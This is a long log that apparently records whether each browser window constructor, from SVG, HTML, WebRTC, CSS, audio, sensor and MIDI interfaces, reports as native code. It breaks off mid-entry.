+window_SVGLength-> res ->function SVGLength() { [native code] } +window_SVGImageElement-> res ->function SVGImageElement() { [native code] } +window_SVGGraphicsElement-> res ->function SVGGraphicsElement() { [native code] } +window_SVGGradientElement-> res ->function SVGGradientElement() { [native code] } +window_SVGGeometryElement-> res ->function SVGGeometryElement() { [native code] } +window_SVGGElement-> res ->function SVGGElement() { [native code] } +window_SVGForeignObjectElement-> res ->function SVGForeignObjectElement() { [native code] } +window_SVGFilterElement-> res ->function SVGFilterElement() { [native code] } +window_SVGFETurbulenceElement-> res ->function SVGFETurbulenceElement() { [native code] } +window_SVGFETileElement-> res ->function SVGFETileElement() { [native code] } +window_SVGFESpotLightElement-> res ->function SVGFESpotLightElement() { [native code] } +window_SVGFESpecularLightingElement-> res ->function SVGFESpecularLightingElement() { [native code] } +window_SVGFEPointLightElement-> res ->function SVGFEPointLightElement() { [native code] } +window_SVGFEOffsetElement-> res ->function SVGFEOffsetElement() { [native code] } +window_SVGFEMorphologyElement-> res ->function SVGFEMorphologyElement() { [native code] } +window_SVGFEMergeNodeElement-> res ->function SVGFEMergeNodeElement() { [native code] } +window_SVGFEMergeElement-> res ->function SVGFEMergeElement() { [native code] } +window_SVGFEImageElement-> res ->function SVGFEImageElement() { [native code] } +window_SVGFEGaussianBlurElement-> res ->function SVGFEGaussianBlurElement() { [native code] } +window_SVGFEFuncRElement-> res ->function SVGFEFuncRElement() { [native code] } +window_SVGFEFuncGElement-> res ->function SVGFEFuncGElement() { [native code] } +window_SVGFEFuncBElement-> res ->function SVGFEFuncBElement() { [native code] } +window_SVGFEFuncAElement-> res ->function SVGFEFuncAElement() { [native code] } +window_SVGFEFloodElement-> res ->function SVGFEFloodElement() { [native code] } +window_SVGFEDropShadowElement-> res ->function SVGFEDropShadowElement() { [native code] } +window_SVGFEDistantLightElement-> res ->function SVGFEDistantLightElement() { [native code] } +window_SVGFEDisplacementMapElement-> res ->function SVGFEDisplacementMapElement() { [native code] } +window_SVGFEDiffuseLightingElement-> res ->function SVGFEDiffuseLightingElement() { [native code] } +window_SVGFEConvolveMatrixElement-> res ->function SVGFEConvolveMatrixElement() { [native code] } +window_SVGFECompositeElement-> res ->function SVGFECompositeElement() { [native code] } +window_SVGFEComponentTransferElement-> res ->function SVGFEComponentTransferElement() { [native code] } +window_SVGFEColorMatrixElement-> res ->function SVGFEColorMatrixElement() { [native code] } +window_SVGFEBlendElement-> res ->function SVGFEBlendElement() { [native code] } +window_SVGEllipseElement-> res ->function SVGEllipseElement() { [native code] } +window_SVGElement-> res ->function SVGElement() { [native code] } +window_SVGDescElement-> res ->function SVGDescElement() { [native code] } +window_SVGDefsElement-> res ->function SVGDefsElement() { [native code] } +window_SVGComponentTransferFunctionElement-> res ->function SVGComponentTransferFunctionElement() { [native code] } +window_SVGClipPathElement-> res ->function SVGClipPathElement() { [native code] } +window_SVGCircleElement-> res ->function SVGCircleElement() { [native code] } +window_SVGAnimationElement-> res ->function SVGAnimationElement() { [native code] } +window_SVGAnimatedTransformList-> res ->function SVGAnimatedTransformList() { [native code] } +window_SVGAnimatedString-> res ->function SVGAnimatedString() { [native code] } +window_SVGAnimatedRect-> res ->function SVGAnimatedRect() { [native code] } +window_SVGAnimatedPreserveAspectRatio-> res ->function SVGAnimatedPreserveAspectRatio() { [native code] } +window_SVGAnimatedNumberList-> res ->function SVGAnimatedNumberList() { [native code] } +window_SVGAnimatedNumber-> res ->function SVGAnimatedNumber() { [native code] } +window_SVGAnimatedLengthList-> res ->function SVGAnimatedLengthList() { [native code] } +window_SVGAnimatedLength-> res ->function SVGAnimatedLength() { [native code] } +window_SVGAnimatedInteger-> res ->function SVGAnimatedInteger() { [native code] } +window_SVGAnimatedEnumeration-> res ->function SVGAnimatedEnumeration() { [native code] } +window_SVGAnimatedBoolean-> res ->function SVGAnimatedBoolean() { [native code] } +window_SVGAnimatedAngle-> res ->function SVGAnimatedAngle() { [native code] } +window_SVGAnimateTransformElement-> res ->function SVGAnimateTransformElement() { [native code] } +window_SVGAnimateMotionElement-> res ->function SVGAnimateMotionElement() { [native code] } +window_SVGAnimateElement-> res ->function SVGAnimateElement() { [native code] } +window_SVGAngle-> res ->function SVGAngle() { [native code] } +window_SVGAElement-> res ->function SVGAElement() { [native code] } +window_Response-> res ->function Response() { [native code] } +window_ResizeObserverSize-> res ->function ResizeObserverSize() { [native code] } +window_ResizeObserverEntry-> res ->function ResizeObserverEntry() { [native code] } +window_ResizeObserver-> res ->function ResizeObserver() { [native code] } +window_Request-> res ->function Request() { [native code] } +window_ReportingObserver-> res ->function ReportingObserver() { [native code] } +window_ReadableStreamDefaultReader-> res ->function ReadableStreamDefaultReader() { [native code] } +window_ReadableStreamDefaultController-> res ->function ReadableStreamDefaultController() { [native code] } +window_ReadableStreamBYOBRequest-> res ->function ReadableStreamBYOBRequest() { [native code] } +window_ReadableStreamBYOBReader-> res ->function ReadableStreamBYOBReader() { [native code] } +window_ReadableStream-> res ->function ReadableStream() { [native code] } +window_ReadableByteStreamController-> res ->function ReadableByteStreamController() { [native code] } +window_Range-> res ->function Range() { [native code] } +window_RadioNodeList-> res ->function RadioNodeList() { [native code] } +window_RTCTrackEvent-> res ->function RTCTrackEvent() { [native code] } +window_RTCStatsReport-> res ->function RTCStatsReport() { [native code] } +window_RTCSessionDescription-> res ->function RTCSessionDescription() { [native code] } +window_RTCSctpTransport-> res ->function RTCSctpTransport() { [native code] } +window_RTCRtpTransceiver-> res ->function RTCRtpTransceiver() { [native code] } +window_RTCRtpSender-> res ->function RTCRtpSender() { [native code] } +window_RTCRtpReceiver-> res ->function RTCRtpReceiver() { [native code] } +window_RTCPeerConnectionIceEvent-> res ->function RTCPeerConnectionIceEvent() { [native code] } +window_RTCPeerConnectionIceErrorEvent-> res ->function RTCPeerConnectionIceErrorEvent() { [native code] } +window_RTCPeerConnection-> res ->function RTCPeerConnection() { [native code] } +window_RTCIceCandidate-> res ->function RTCIceCandidate() { [native code] } +window_RTCErrorEvent-> res ->function RTCErrorEvent() { [native code] } +window_RTCError-> res ->function RTCError() { [native code] } +window_RTCEncodedVideoFrame-> res ->function RTCEncodedVideoFrame() { [native code] } +window_RTCEncodedAudioFrame-> res ->function RTCEncodedAudioFrame() { [native code] } +window_RTCDtlsTransport-> res ->function RTCDtlsTransport() { [native code] } +window_RTCDataChannelEvent-> res ->function RTCDataChannelEvent() { [native code] } +window_RTCDataChannel-> res ->function RTCDataChannel() { [native code] } +window_RTCDTMFToneChangeEvent-> res ->function RTCDTMFToneChangeEvent() { [native code] } +window_RTCDTMFSender-> res ->function RTCDTMFSender() { [native code] } +window_RTCCertificate-> res ->function RTCCertificate() { [native code] } +window_PromiseRejectionEvent-> res ->function PromiseRejectionEvent() { [native code] } +window_ProgressEvent-> res ->function ProgressEvent() { [native code] } +window_ProcessingInstruction-> res ->function ProcessingInstruction() { [native code] } +window_PopStateEvent-> res ->function PopStateEvent() { [native code] } +window_PointerEvent-> res ->function PointerEvent() { [native code] } +window_PluginArray-> res ->function PluginArray() { [native code] } +window_Plugin-> res ->function Plugin() { [native code] } +window_PeriodicWave-> res ->function PeriodicWave() { [native code] } +window_PerformanceTiming-> res ->function PerformanceTiming() { [native code] } +window_PerformanceServerTiming-> res ->function PerformanceServerTiming() { [native code] } +window_PerformanceResourceTiming-> res ->function PerformanceResourceTiming() { [native code] } +window_PerformancePaintTiming-> res ->function PerformancePaintTiming() { [native code] } +window_PerformanceObserverEntryList-> res ->function PerformanceObserverEntryList() { [native code] } +window_PerformanceObserver-> res ->function PerformanceObserver() { [native code] } +window_PerformanceNavigationTiming-> res ->function PerformanceNavigationTiming() { [native code] } +window_PerformanceNavigation-> res ->function PerformanceNavigation() { [native code] } +window_PerformanceMeasure-> res ->function PerformanceMeasure() { [native code] } +window_PerformanceMark-> res ->function PerformanceMark() { [native code] } +window_PerformanceLongTaskTiming-> res ->function PerformanceLongTaskTiming() { [native code] } +window_PerformanceEventTiming-> res ->function PerformanceEventTiming() { [native code] } +window_PerformanceEntry-> res ->function PerformanceEntry() { [native code] } +window_PerformanceElementTiming-> res ->function PerformanceElementTiming() { [native code] } +window_Path2D-> res ->function Path2D() { [native code] } +window_PannerNode-> res ->function PannerNode() { [native code] } +window_PageTransitionEvent-> res ->function PageTransitionEvent() { [native code] } +window_OverconstrainedError-> res ->function OverconstrainedError() { [native code] } +window_OscillatorNode-> res ->function OscillatorNode() { [native code] } +window_OffscreenCanvasRenderingContext2D-> res ->function OffscreenCanvasRenderingContext2D() { [native code] } +window_OffscreenCanvas-> res ->function OffscreenCanvas() { [native code] } +window_OfflineAudioContext-> res ->function OfflineAudioContext() { [native code] } +window_OfflineAudioCompletionEvent-> res ->function OfflineAudioCompletionEvent() { [native code] } +window_NodeList-> res ->function NodeList() { [native code] } +window_NodeIterator-> res ->function NodeIterator() { [native code] } +window_Node-> res ->function Node() { [native code] } +window_NetworkInformation-> res ->function NetworkInformation() { [native code] } +window_NamedNodeMap-> res ->function NamedNodeMap() { [native code] } +window_MutationRecord-> res ->function MutationRecord() { [native code] } +window_MutationObserver -> res ->function MutationObserver() { [native code] } +window_MutationEvent-> res ->function MutationEvent() { [native code] } +window_MouseEvent-> res ->function MouseEvent() { [native code] } +window_MimeTypeArray-> res ->function MimeTypeArray() { [native code] } +window_MimeType-> res ->function MimeType() { [native code] } +window_MessagePort-> res ->function MessagePort() { [native code] } +window_MessageEvent-> res ->function MessageEvent() { [native code] } +window_MessageChannel-> res ->function MessageChannel() { [native code] } +window_MediaStreamTrackEvent-> res ->function MediaStreamTrackEvent() { [native code] } +window_MediaStreamEvent-> res ->function MediaStreamEvent() { [native code] } +window_MediaStreamAudioSourceNode-> res ->function MediaStreamAudioSourceNode() { [native code] } +window_MediaStreamAudioDestinationNode-> res ->function MediaStreamAudioDestinationNode() { [native code] } +window_MediaStream-> res ->function MediaStream() { [native code] } +window_MediaRecorder-> res ->function MediaRecorder() { [native code] } +window_MediaQueryListEvent-> res ->function MediaQueryListEvent() { [native code] } +window_MediaQueryList-> res ->function MediaQueryList() { [native code] } +window_MediaList-> res ->function MediaList() { [native code] } +window_MediaError-> res ->function MediaError() { [native code] } +window_MediaEncryptedEvent-> res ->function MediaEncryptedEvent() { [native code] } +window_MediaElementAudioSourceNode-> res ->function MediaElementAudioSourceNode() { [native code] } +window_MediaCapabilities-> res ->function MediaCapabilities() { [native code] } +window_LayoutShiftAttribution-> res ->function LayoutShiftAttribution() { [native code] } +window_LayoutShift-> res ->function LayoutShift() { [native code] } +window_LargestContentfulPaint-> res ->function LargestContentfulPaint() { [native code] } +window_KeyframeEffect-> res ->function KeyframeEffect() { [native code] } +window_KeyboardEvent-> res ->function KeyboardEvent() { [native code] } +window_IntersectionObserverEntry-> res ->function IntersectionObserverEntry() { [native code] } +window_IntersectionObserver-> res ->function IntersectionObserver() { [native code] } +window_InputEvent-> res ->function InputEvent() { [native code] } +window_InputDeviceInfo-> res ->function InputDeviceInfo() { [native code] } +window_InputDeviceCapabilities-> res ->function InputDeviceCapabilities() { [native code] } +window_ImageData-> res ->function ImageData() { [native code] } +window_ImageCapture-> res ->function ImageCapture() { [native code] } +window_ImageBitmapRenderingContext-> res ->function ImageBitmapRenderingContext() { [native code] } +window_ImageBitmap-> res ->function ImageBitmap() { [native code] } +window_IdleDeadline-> res ->function IdleDeadline() { [native code] } +window_IIRFilterNode-> res ->function IIRFilterNode() { [native code] } +window_IDBVersionChangeEvent-> res ->function IDBVersionChangeEvent() { [native code] } +window_IDBTransaction-> res ->function IDBTransaction() { [native code] } +window_IDBRequest-> res ->function IDBRequest() { [native code] } +window_IDBOpenDBRequest-> res ->function IDBOpenDBRequest() { [native code] } +window_IDBObjectStore-> res ->function IDBObjectStore() { [native code] } +window_IDBKeyRange-> res ->function IDBKeyRange() { [native code] } +window_IDBIndex-> res ->function IDBIndex() { [native code] } +window_IDBCursorWithValue-> res ->function IDBCursorWithValue() { [native code] } +window_IDBCursor-> res ->function IDBCursor() { [native code] } +window_Headers-> res ->function Headers() { [native code] } +window_HashChangeEvent-> res ->function HashChangeEvent() { [native code] } +window_HTMLVideoElement-> res ->function HTMLVideoElement() { [native code] } +window_HTMLUnknownElement-> res ->function HTMLUnknownElement() { [native code] } +window_HTMLUListElement-> res ->function HTMLUListElement() { [native code] } +window_HTMLTrackElement-> res ->function HTMLTrackElement() { [native code] } +window_HTMLTitleElement-> res ->function HTMLTitleElement() { [native code] } +window_HTMLTimeElement-> res ->function HTMLTimeElement() { [native code] } +window_HTMLTextAreaElement-> res ->function HTMLTextAreaElement() { [native code] } +window_HTMLTemplateElement-> res ->function HTMLTemplateElement() { [native code] } +window_HTMLTableSectionElement-> res ->function HTMLTableSectionElement() { [native code] } +window_HTMLTableRowElement-> res ->function HTMLTableRowElement() { [native code] } +window_HTMLTableElement-> res ->function HTMLTableElement() { [native code] } +window_HTMLTableColElement-> res ->function HTMLTableColElement() { [native code] } +window_HTMLTableCellElement-> res ->function HTMLTableCellElement() { [native code] } +window_HTMLTableCaptionElement-> res ->function HTMLTableCaptionElement() { [native code] } +window_HTMLStyleElement-> res ->function HTMLStyleElement() { [native code] } +window_HTMLSpanElement-> res ->function HTMLSpanElement() { [native code] } +window_HTMLSourceElement-> res ->function HTMLSourceElement() { [native code] } +window_HTMLSlotElement-> res ->function HTMLSlotElement() { [native code] } +window_HTMLSelectElement-> res ->function HTMLSelectElement() { [native code] } +window_HTMLScriptElement-> res ->function HTMLScriptElement() { [native code] } +window_HTMLQuoteElement-> res ->function HTMLQuoteElement() { [native code] } +window_HTMLProgressElement-> res ->function HTMLProgressElement() { [native code] } +window_HTMLPreElement-> res ->function HTMLPreElement() { [native code] } +window_HTMLPictureElement-> res ->function HTMLPictureElement() { [native code] } +window_HTMLParamElement-> res ->function HTMLParamElement() { [native code] } +window_HTMLParagraphElement-> res ->function HTMLParagraphElement() { [native code] } +window_HTMLOutputElement-> res ->function HTMLOutputElement() { [native code] } +window_HTMLOptionsCollection-> res ->function HTMLOptionsCollection() { [native code] } +window_HTMLOptionElement-> res ->function HTMLOptionElement() { [native code] } +window_HTMLOptGroupElement-> res ->function HTMLOptGroupElement() { [native code] } +window_HTMLObjectElement-> res ->function HTMLObjectElement() { [native code] } +window_HTMLOListElement-> res ->function HTMLOListElement() { [native code] } +window_HTMLModElement-> res ->function HTMLModElement() { [native code] } +window_HTMLMeterElement-> res ->function HTMLMeterElement() { [native code] } +window_HTMLMetaElement-> res ->function HTMLMetaElement() { [native code] } +window_HTMLMenuElement-> res ->function HTMLMenuElement() { [native code] } +window_HTMLMediaElement-> res ->function HTMLMediaElement() { [native code] } +window_HTMLMarqueeElement-> res ->function HTMLMarqueeElement() { [native code] } +window_HTMLMapElement-> res ->function HTMLMapElement() { [native code] } +window_HTMLLinkElement-> res ->function HTMLLinkElement() { [native code] } +window_HTMLLegendElement-> res ->function HTMLLegendElement() { [native code] } +window_HTMLLabelElement-> res ->function HTMLLabelElement() { [native code] } +window_HTMLLIElement-> res ->function HTMLLIElement() { [native code] } +window_HTMLInputElement-> res ->function HTMLInputElement() { [native code] } +window_HTMLImageElement-> res ->function HTMLImageElement() { [native code] } +window_HTMLIFrameElement-> res ->function HTMLIFrameElement() { [native code] } +window_HTMLHtmlElement-> res ->function HTMLHtmlElement() { [native code] } +window_HTMLHeadingElement-> res ->function HTMLHeadingElement() { [native code] } +window_HTMLHeadElement-> res ->function HTMLHeadElement() { [native code] } +window_HTMLHRElement-> res ->function HTMLHRElement() { [native code] } +window_HTMLFrameSetElement-> res ->function HTMLFrameSetElement() { [native code] } +window_HTMLFrameElement-> res ->function HTMLFrameElement() { [native code] } +window_HTMLFormElement-> res ->function HTMLFormElement() { [native code] } +window_HTMLFormControlsCollection-> res ->function HTMLFormControlsCollection() { [native code] } +window_HTMLFontElement-> res ->function HTMLFontElement() { [native code] } +window_HTMLFieldSetElement-> res ->function HTMLFieldSetElement() { [native code] } +window_HTMLEmbedElement-> res ->function HTMLEmbedElement() { [native code] } +window_HTMLElement-> res ->function HTMLElement() { [native code] } +window_HTMLDocument-> res ->function HTMLDocument() { [native code] } +window_HTMLDivElement-> res ->function HTMLDivElement() { [native code] } +window_HTMLDirectoryElement-> res ->function HTMLDirectoryElement() { [native code] } +window_HTMLDialogElement-> res ->function HTMLDialogElement() { [native code] } +window_HTMLDetailsElement-> res ->function HTMLDetailsElement() { [native code] } +window_HTMLDataListElement-> res ->function HTMLDataListElement() { [native code] } +window_HTMLDataElement-> res ->function HTMLDataElement() { [native code] } +window_HTMLDListElement-> res ->function HTMLDListElement() { [native code] } +window_HTMLCollection-> res ->function HTMLCollection() { [native code] } +window_HTMLCanvasElement-> res ->function HTMLCanvasElement() { [native code] } +window_HTMLButtonElement-> res ->function HTMLButtonElement() { [native code] } +window_HTMLBodyElement-> res ->function HTMLBodyElement() { [native code] } +window_HTMLBaseElement-> res ->function HTMLBaseElement() { [native code] } +window_HTMLBRElement-> res ->function HTMLBRElement() { [native code] } +window_HTMLAudioElement-> res ->function HTMLAudioElement() { [native code] } +window_HTMLAreaElement-> res ->function HTMLAreaElement() { [native code] } +window_HTMLAnchorElement-> res ->function HTMLAnchorElement() { [native code] } +window_HTMLAllCollection-> res ->function HTMLAllCollection() { [native code] } +window_GeolocationPositionError-> res ->function GeolocationPositionError() { [native code] } +window_GeolocationPosition-> res ->function GeolocationPosition() { [native code] } +window_GeolocationCoordinates-> res ->function GeolocationCoordinates() { [native code] } +window_Geolocation-> res ->function Geolocation() { [native code] } +window_GamepadHapticActuator-> res ->function GamepadHapticActuator() { [native code] } +window_GamepadEvent-> res ->function GamepadEvent() { [native code] } +window_GamepadButton-> res ->function GamepadButton() { [native code] } +window_Gamepad-> res ->function Gamepad() { [native code] } +window_GainNode-> res ->function GainNode() { [native code] } +window_FormDataEvent-> res ->function FormDataEvent() { [native code] } +window_FormData-> res ->function FormData() { [native code] } +window_FontFaceSetLoadEvent-> res ->function FontFaceSetLoadEvent() { [native code] } +window_FontFace-> res ->function FontFace() { [native code] } +window_FocusEvent-> res ->function FocusEvent() { [native code] } +window_FileReader-> res ->function FileReader() { [native code] } +window_FileList-> res ->function FileList() { [native code] } +window_File-> res ->function File() { [native code] } +window_FeaturePolicy-> res ->function FeaturePolicy() { [native code] } +window_EventTarget-> res ->function EventTarget() { [native code] } +window_EventSource-> res ->function EventSource() { [native code] } +window_EventCounts-> res ->function EventCounts() { [native code] } +window_Event-> res ->function Event() { [native code] } +window_ErrorEvent-> res ->function ErrorEvent() { [native code] } +window_ElementInternals-> res ->function ElementInternals() { [native code] } +window_Element-> res ->function Element() { [native code] } +window_DynamicsCompressorNode-> res ->function DynamicsCompressorNode() { [native code] } +window_DragEvent-> res ->function DragEvent() { [native code] } +window_DocumentType-> res ->function DocumentType() { [native code] } +window_DocumentFragment-> res ->function DocumentFragment() { [native code] } +window_DelayNode-> res ->function DelayNode() { [native code] } +window_DecompressionStream-> res ->function DecompressionStream() { [native code] } +window_DataTransferItemList-> res ->function DataTransferItemList() { [native code] } +window_DataTransferItem-> res ->function DataTransferItem() { [native code] } +window_DataTransfer-> res ->function DataTransfer() { [native code] } +window_DOMTokenList-> res ->function DOMTokenList() { [native code] } +window_DOMStringMap-> res ->function DOMStringMap() { [native code] } +window_DOMStringList-> res ->function DOMStringList() { [native code] } +window_DOMRectReadOnly-> res ->function DOMRectReadOnly() { [native code] } +window_DOMRectList-> res ->function DOMRectList() { [native code] } +window_DOMRect-> res ->function DOMRect() { [native code] } +window_DOMQuad-> res ->function DOMQuad() { [native code] } +window_DOMPointReadOnly-> res ->function DOMPointReadOnly() { [native code] } +window_DOMPoint-> res ->function DOMPoint() { [native code] } +window_DOMParser-> res ->function DOMParser() { [native code] } +window_DOMMatrixReadOnly-> res ->function DOMMatrixReadOnly() { [native code] } +window_DOMMatrix-> res ->function DOMMatrix() { [native code] } +window_DOMImplementation-> res ->function DOMImplementation() { [native code] } +window_DOMException-> res ->function DOMException() { [native code] } +window_DOMError-> res ->function DOMError() { [native code] } +window_CustomEvent-> res ->function CustomEvent() { [native code] } +window_Crypto-> res ->function Crypto() { [native code] } +window_CountQueuingStrategy-> res ->function CountQueuingStrategy() { [native code] } +window_ConvolverNode-> res ->function ConvolverNode() { [native code] } +window_ConstantSourceNode-> res ->function ConstantSourceNode() { [native code] } +window_CompressionStream-> res ->function CompressionStream() { [native code] } +window_CompositionEvent-> res ->function CompositionEvent() { [native code] } +window_Comment-> res ->function Comment() { [native code] } +window_CloseEvent-> res ->function CloseEvent() { [native code] } +window_ClipboardEvent-> res ->function ClipboardEvent() { [native code] } +window_CharacterData-> res ->function CharacterData() { [native code] } +window_ChannelSplitterNode-> res ->function ChannelSplitterNode() { [native code] } +window_ChannelMergerNode-> res ->function ChannelMergerNode() { [native code] } +window_CanvasRenderingContext2D-> res ->function CanvasRenderingContext2D() { [native code] } +window_CanvasPattern-> res ->function CanvasPattern() { [native code] } +window_CanvasGradient-> res ->function CanvasGradient() { [native code] } +window_CanvasFilter-> res ->function CanvasFilter() { [native code] } +window_CanvasCaptureMediaStreamTrack-> res ->function CanvasCaptureMediaStreamTrack() { [native code] } +window_CSSVariableReferenceValue-> res ->function CSSVariableReferenceValue() { [native code] } +window_CSSUnparsedValue-> res ->function CSSUnparsedValue() { [native code] } +window_CSSUnitValue-> res ->function CSSUnitValue() { [native code] } +window_CSSTranslate-> res ->function CSSTranslate() { [native code] } +window_CSSTransformValue-> res ->function CSSTransformValue() { [native code] } +window_CSSTransformComponent-> res ->function CSSTransformComponent() { [native code] } +window_CSSSupportsRule-> res ->function CSSSupportsRule() { [native code] } +window_CSSStyleValue-> res ->function CSSStyleValue() { [native code] } +window_CSSStyleSheet-> res ->function CSSStyleSheet() { [native code] } +window_CSSStyleRule-> res ->function CSSStyleRule() { [native code] } +window_CSSStyleDeclaration-> res ->function CSSStyleDeclaration() { [native code] } +window_CSSSkewY-> res ->function CSSSkewY() { [native code] } +window_CSSSkewX-> res ->function CSSSkewX() { [native code] } +window_CSSSkew-> res ->function CSSSkew() { [native code] } +window_CSSScale-> res ->function CSSScale() { [native code] } +window_CSSRuleList-> res ->function CSSRuleList() { [native code] } +window_CSSRule-> res ->function CSSRule() { [native code] } +window_CSSRotate-> res ->function CSSRotate() { [native code] } +window_CSSPropertyRule-> res ->function CSSPropertyRule() { [native code] } +window_CSSPositionValue-> res ->function CSSPositionValue() { [native code] } +window_CSSPerspective-> res ->function CSSPerspective() { [native code] } +window_CSSPageRule-> res ->function CSSPageRule() { [native code] } +window_CSSNumericValue-> res ->function CSSNumericValue() { [native code] } +window_CSSNumericArray-> res ->function CSSNumericArray() { [native code] } +window_CSSNamespaceRule-> res ->function CSSNamespaceRule() { [native code] } +window_CSSMediaRule-> res ->function CSSMediaRule() { [native code] } +window_CSSMatrixComponent-> res ->function CSSMatrixComponent() { [native code] } +window_CSSMathValue-> res ->function CSSMathValue() { [native code] } +window_CSSMathSum-> res ->function CSSMathSum() { [native code] } +window_CSSMathProduct-> res ->function CSSMathProduct() { [native code] } +window_CSSMathNegate-> res ->function CSSMathNegate() { [native code] } +window_CSSMathMin-> res ->function CSSMathMin() { [native code] } +window_CSSMathMax-> res ->function CSSMathMax() { [native code] } +window_CSSMathInvert-> res ->function CSSMathInvert() { [native code] } +window_CSSMathClamp-> res ->function CSSMathClamp() { [native code] } +window_CSSLayerStatementRule-> res ->function CSSLayerStatementRule() { [native code] } +window_CSSLayerBlockRule-> res ->function CSSLayerBlockRule() { [native code] } +window_CSSKeywordValue-> res ->function CSSKeywordValue() { [native code] } +window_CSSKeyframesRule-> res ->function CSSKeyframesRule() { [native code] } +window_CSSKeyframeRule-> res ->function CSSKeyframeRule() { [native code] } +window_CSSImportRule-> res ->function CSSImportRule() { [native code] } +window_CSSImageValue-> res ->function CSSImageValue() { [native code] } +window_CSSGroupingRule-> res ->function CSSGroupingRule() { [native code] } +window_CSSFontFaceRule-> res ->function CSSFontFaceRule() { [native code] } +window_CSSCounterStyleRule-> res ->function CSSCounterStyleRule() { [native code] } +window_CSSConditionRule-> res ->function CSSConditionRule() { [native code] } +window_CDATASection-> res ->function CDATASection() { [native code] } +window_ByteLengthQueuingStrategy-> res ->function ByteLengthQueuingStrategy() { [native code] } +window_BroadcastChannel-> res ->function BroadcastChannel() { [native code] } +window_BlobEvent-> res ->function BlobEvent() { [native code] } +window_Blob-> res ->function Blob() { [native code] } +window_BiquadFilterNode-> res ->function BiquadFilterNode() { [native code] } +window_BeforeUnloadEvent-> res ->function BeforeUnloadEvent() { [native code] } +window_BeforeInstallPromptEvent-> res ->function BeforeInstallPromptEvent() { [native code] } +window_BatteryManager-> res ->function BatteryManager() { [native code] } +window_BaseAudioContext-> res ->function BaseAudioContext() { [native code] } +window_AudioWorkletNode-> res ->function AudioWorkletNode() { [native code] } +window_AudioScheduledSourceNode-> res ->function AudioScheduledSourceNode() { [native code] } +window_AudioProcessingEvent-> res ->function AudioProcessingEvent() { [native code] } +window_AudioParamMap-> res ->function AudioParamMap() { [native code] } +window_AudioParam-> res ->function AudioParam() { [native code] } +window_AudioNode-> res ->function AudioNode() { [native code] } +window_AudioListener-> res ->function AudioListener() { [native code] } +window_AudioDestinationNode-> res ->function AudioDestinationNode() { [native code] } +window_AudioContext-> res ->function AudioContext() { [native code] } +window_AudioBufferSourceNode-> res ->function AudioBufferSourceNode() { [native code] } +window_AudioBuffer-> res ->function AudioBuffer() { [native code] } +window_Attr-> res ->function Attr() { [native code] } +window_AnimationEvent-> res ->function AnimationEvent() { [native code] } +window_AnimationEffect-> res ->function AnimationEffect() { [native code] } +window_Animation-> res ->function Animation() { [native code] } +window_AnalyserNode-> res ->function AnalyserNode() { [native code] } +window_AbstractRange-> res ->function AbstractRange() { [native code] } +window_AbortSignal-> res ->function AbortSignal() { [native code] } +window_AbortController-> res ->function AbortController() { [native code] } +window_AbsoluteOrientationSensor-> res ->function AbsoluteOrientationSensor() { [native code] } +window_Accelerometer-> res ->function Accelerometer() { [native code] } +window_AudioWorklet-> res ->function AudioWorklet() { [native code] } +window_Cache-> res ->function Cache() { [native code] } +window_Clipboard-> res ->function Clipboard() { [native code] } +window_ClipboardItem-> res ->function ClipboardItem() { [native code] } +window_CookieChangeEvent-> res ->function CookieChangeEvent() { [native code] } +window_CookieStoreManager-> res ->function CookieStoreManager() { [native code] } +window_Credential-> res ->function Credential() { [native code] } +window_CredentialsContainer-> res ->function CredentialsContainer() { [native code] } +window_CryptoKey-> res ->function CryptoKey() { [native code] } +window_DeviceMotionEvent-> res ->function DeviceMotionEvent() { [native code] } +window_DeviceMotionEventAcceleration-> res ->function DeviceMotionEventAcceleration() { [native code] } +window_DeviceMotionEventRotationRate-> res ->function DeviceMotionEventRotationRate() { [native code] } +window_DeviceOrientationEvent-> res ->function DeviceOrientationEvent() { [native code] } +window_FederatedCredential-> res ->function FederatedCredential() { [native code] } +window_Gyroscope-> res ->function Gyroscope() { [native code] } +window_Keyboard-> res ->function Keyboard() { [native code] } +window_KeyboardLayoutMap-> res ->function KeyboardLayoutMap() { [native code] } +window_LinearAccelerationSensor-> res ->function LinearAccelerationSensor() { [native code] } +window_Lock-> res ->function Lock() { [native code] } +window_LockManager-> res ->function LockManager() { [native code] } +window_MIDIAccess-> res ->function MIDIAccess() { [native code] } +window_MIDIConnectionEvent-> res ->function MIDIConnectionEvent() { [native code] } +window_MIDIInput-> res ->function MIDIInput() { [native code] } +window_MIDIInputMap-> res ->function MIDIInputMap() { [native code] } +window_MIDIMessageEvent-> res ->function MIDIMessageEvent() { [native code] } +window_MIDIOutput-> res ->function MIDIOutput() { [native code] } +window_MIDIOutputMap-> res ->function MIDIOutputMap() { [native code] } +window_MIDIPort-> res ->function MIDIPort() { [native code] } +window_MediaDeviceInfo-> res ->function MediaDeviceInfo() { [native code] } +window_MediaDevices-> res ->function MediaDevices() { [native code] } +window_MediaKeyMessageEvent-> res ->function MediaKeyMessageEvent() { [native code] } +window_MediaKeySession-> res ->function MediaKeySession() { [native code] } +window_MediaKeyStatusMap-> res ->function MediaKeyStatusMap() { [native code] } +window_MediaKeySystemAccess-> res ->function MediaKeySystemAccess() { [native code] } +window_MediaKeys-> res ->function MediaKeys() { [native code] } +window_NavigationPreloadManager-> res ->function NavigationPreloadManager() { [native code] } +window_NavigatorManagedData-> res ->function NavigatorManagedData() { [native code] } +window_OrientationSensor-> res ->function OrientationSensor() { [native code] } +window_PasswordCredential-> res ->function PasswordCredential() { [native code] } +window_RTCIceTransport-> res ->function RTCIceTransport() { [native code] } +window_RelativeOrientationSensor-> res ->function RelativeOrientationSensor() { [native code] } +window_Sensor-> res ->function Sensor() { [native code] } +window_SensorErrorEvent-> res ->function SensorErrorEvent() { [native code] } +window_ServiceWorker-> res ->function ServiceWorker() { [native code] } +window_ServiceWorkerContainer-> res ->function ServiceWorkerContainer() { [native code] } +window_ServiceWorkerRegistration-> res ->function ServiceWorkerRegistration() { [native code] } +window_StorageManager-> res ->function StorageManager() { [native code] } +window_SubtleCrypto-> res ->function SubtleCrypto() { [native code] } +window_Worklet-> res ->function Worklet() { [native code] } +window_XRDOMOverlayState-> res ->function XRDOMOverlayState() { [native code] } +window_XRLayer-> res ->function XRLayer() { [native code] } +window_XRWebGLBinding-> res ->function XRWebGLBinding() { [native code] } +window_AudioData-> res ->function AudioData() { [native code] } +window_EncodedAudioChunk-> res ->function EncodedAudioChunk() { [native code] } +window_EncodedVideoChunk-> res ->function EncodedVideoChunk() { [native code] } +window_ImageTrack-> res ->function ImageTrack() { [native code] } +window_ImageTrackList-> res ->function ImageTrackList() { [native code] } +window_VideoColorSpace-> res ->function VideoColorSpace() { [native code] } +window_VideoFrame-> res ->function 